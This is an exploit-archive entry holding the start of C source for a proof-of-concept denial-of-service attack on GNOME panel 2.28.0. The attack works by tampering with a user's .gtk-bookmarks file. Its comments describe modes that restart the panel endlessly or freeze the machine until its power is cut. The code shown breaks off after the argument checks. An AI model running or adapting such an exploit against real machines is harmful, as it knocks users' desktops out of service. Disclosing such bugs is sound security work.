# Exploit Title: Gnome panel <= 2.28.0 denial of service poc 0-day # Date: 06/01/2009 # Author: Pietro Oliva # Software Link: # Version: 2.28.0 # Tested on: ubuntu 9.10 # CVE : # Code : /********************************************************************************* * Gnome panel <= 2.28.0 denial of service poc 0-day * * by Pietro Oliva * * * * After executing this poc a backup file will be created * * You can restore it by typing ./paneldos restore * * Using option restart gnome-panel will restart continuously * * Using option totalblock you will need to remove the battery * * After execution click application in the panel, then go to places * * and wait some seconds... * * https://bugs.launchpad.net/ubuntu/+source/gnome-panel/+bug/503868 * **********************************************************************************/ #include #include int main(int argc, char **argv) { FILE *f; unsigned long i; printf("%s","Gnome panel <= 2.28.0 denial of service by Pietro Oliva poc 0-day\n\n"); if(!(f=fopen(".gtk-bookmarks","r"))) { printf("%s","file not found! make sure you are running\nthis file from your home directory\n"); return 1; } fclose(f); if((argv[1]==NULL)) { printf("%s","please specify an argument!\n"); printf("%s","usage: ./paneldos